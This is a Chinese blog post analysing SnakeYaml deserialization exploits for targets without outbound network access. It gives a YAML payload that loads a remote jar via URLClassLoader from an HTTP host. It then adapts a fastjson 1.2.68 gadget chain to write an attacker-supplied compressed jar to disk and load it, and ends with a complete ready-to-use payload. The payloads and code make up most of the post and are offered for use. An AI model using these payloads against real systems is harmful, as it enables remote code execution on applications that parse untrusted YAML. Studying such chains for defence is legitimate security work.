首页 > 其他分享 >SnakeYaml的不出网反序列化利用分析

SnakeYaml的不出网反序列化利用分析

时间:2023-02-25 23:44:57浏览次数:54  
标签:java jar SnakeYaml yaml new InflaterOutputStream 序列化 网反 out

SnakeYaml的常见出网利用方式:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
  ]]
]

不出网利用方式:写入恶意文件,之后使用上面的利用链。

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["file:D:\\yaml-payload.jar"]
  ]]
]

在java中的执行如下

URL url = new URL("file:D:\\yaml-payload.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
ScriptEngineManager scriptEngineManager = new ScriptEngineManager(urlClassLoader);

写入文件的利用链来源于fastjson 1.2.68利用链,主要是分析这条链。

{
  "@type": "java.lang.Exception",
  "@type": "java.io.MarshalOutputStream",
  "out": {
    "@type": "java.util.zip.InflaterOutputStream",
    "out": {
      "@type": "java.io.FileOutputStream",
      "file": "D:\\yaml-payload.jar",
      "append": "false"
    },
    "infl": {
      "input": "xxxxx"
    },
    "bufLen": 1048576
  },
  "protocolVersion": 1
}

翻译成java执行方式大概是这样:

byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
//先对字节码压缩
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);
FileOutputStream fileOutputStream1 = new FileOutputStream(new File("D:\\yaml-payload.jar"));
Inflater inflater = new Inflater();
//解压
inflater.setInput(b);
InflaterOutputStream inflaterOutputStream = new InflaterOutputStream(fileOutputStream1,inflater,1048576);
//这里并没有用MarshalOutputStream,因为MarshalOutputStream构造方法,调用out参数,最终是给父类ObjectOutputStream的构造方法执行的,所以直接使用ObjectOutputStream好了。
ObjectOutputStream objectOutputStream = new ObjectOutputStream(inflaterOutputStream);

从最外层开始看,ObjectOutputStream构造方法,顺利执行了InflaterOutputStream.write(buf, 0, pos);,最终得到写入效果。

public ObjectOutputStream(OutputStream out) throws IOException {
        verifySubclass();
    	//this.out = InflaterOutputStream(fileOutputStream1,inflater,1048576);
        bout = new BlockDataOutputStream(out);
        handles = new HandleTable(10, (float) 3.00);
        subs = new ReplaceTable(10, (float) 3.00);
        enableOverride = false;
        writeStreamHeader();
    	//执行out.write
        bout.setBlockDataMode(true);
        if (extendedDebugInfo) {
            debugInfoStack = new DebugTraceInfoStack();
        } else {
            debugInfoStack = null;
    }
}

然后看InflaterOutputStream的write方法。

// Decompress and write blocks of output data
do {
    //这里的inf是Inflater对象,对象中已经包含了要写入的内容,之前由setInput写入,inf的赋值是在InflaterOutputStream(fileOutputStream1,inflater,1048576)构造方法中赋值。并且构造方法还赋值了out为fileOutputStream1。
    //在inf.inflate(buf, 0, buf.length)中inf对象的字节码压缩后传递给buf,最终调用out.write(buf, 0, n)写入到文件
    n = inf.inflate(buf, 0, buf.length);
    if (n > 0) {
        out.write(buf, 0, n);
    }
} while (n > 0);

这个链是给SnakeYaml做反序列化,可以这样写:

!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater  { input: 压缩过的字节码内容 },1048576]]

压缩过的字节码内容,需要生成,生成完了dump成SnakeYaml的效果。

byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);

Yaml yaml = new Yaml();
String dump = yaml.dump(b);
System.out.println(dump);
=================================
输出是这样的
!!binary |-
  eJwL8GZmEWHg4OB......略

最终的写入利用链:

!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater  { input: !!binary eJwL8GZmEWHg4OBgEAsID2NAApwMLAy+riGOup5+bvr/TjEwMDMEeLNzgKSYoEoCcGoWAWK4Zl9HP0831+AQPV+3z75nTvt46....略 },1048576]]

标签:java,jar,SnakeYaml,yaml,new,InflaterOutputStream,序列化,网反,out
From: https://www.cnblogs.com/vpandaxjl/p/17155728.html

相关文章

  • Kafka 序列化
    序列化生产者需要用序列化器(Serializer)把对象转换成字节数组才能通过网络发送给Kafka。而在对侧,消费者需要用反序列化器(Deserializer)把从Kafka中收到的字节数组转换成......
  • 使用JsonTextReader提高Json.NET反序列化的性能
    一、碰到的问题在服务器的文件系统上有一个业务生成的BigTable.json文件,其可能包含的JSON字符串很大,同时里边的集合会包含很多的记录;我们使用以下的代码来反序列化,虽然使......
  • 33-DRF框架-反序列化使用
    #增加修改#把参数转成model对象,操作数据库#步骤:#1.创建序列化对象data传递参数进行验证#2.is_validate()函数验证#3.通过可以使用validated......
  • 深入学习jquery源码之序列化表单
    深入学习jquery源码之序列化表单serialize()概述序列表表格内容为字符串。序列表表格内容为字符串,用于Ajax请求。<pid="results"><b>Results:</b></p><form><select......
  • 32-DRF框架-序列化器ModelSerializer
    #如果我们想要使用序列化器对应的是Django的模型类,DRF为我们提供了ModelSerializer模型类序列化器来帮助我们快速创建一个Serializer类创建modelserializer序列化器#......
  • c#如何使用MemoryStream和BinaryFormatter进行对象的序列化和返序列化
    c#如何使用MemoryStream和BinaryFormatter进行对象的序列化和返序列化  1下面是我写的一个序列化的类public static classObjSerialize{///<summar......
  • Serializers 序列化 新增一个字段(处理后赋值) 扔给前端 (实现表和表解偶)
    #模型层classtbl_project_category(models.Model):depart_id=models.IntegerField(verbose_name='部门id',default=0)pro_name=models.CharField(max_len......
  • 30-DRF框架-Serializer序列化器
    #作用:序列化器可以进行数据的校验,对数据对象进行转换#DjangoRESTframework中的序列化使用类来定义,须继承自rest_framework.serializers.Serializer#Serializer......
  • Java序列化
    什么是序列化序列化:将对象转化为可传输字节序列的过程为序列化反序列化:把字节序列还原为对象的过程称之为反序列化为什么要序列化序列化的最终目的是为了对象可以跨平......
  • 算法19:LeetCode_二叉树序列化与反序列化(层序)
    ​ 本题为链接为https://leetcode.cn/problems/serialize-and-deserialize-binary-tree想要搞懂本题,请先阅读我之前写的关于二叉树层序遍历文章算法8:LeetCode_二叉树的......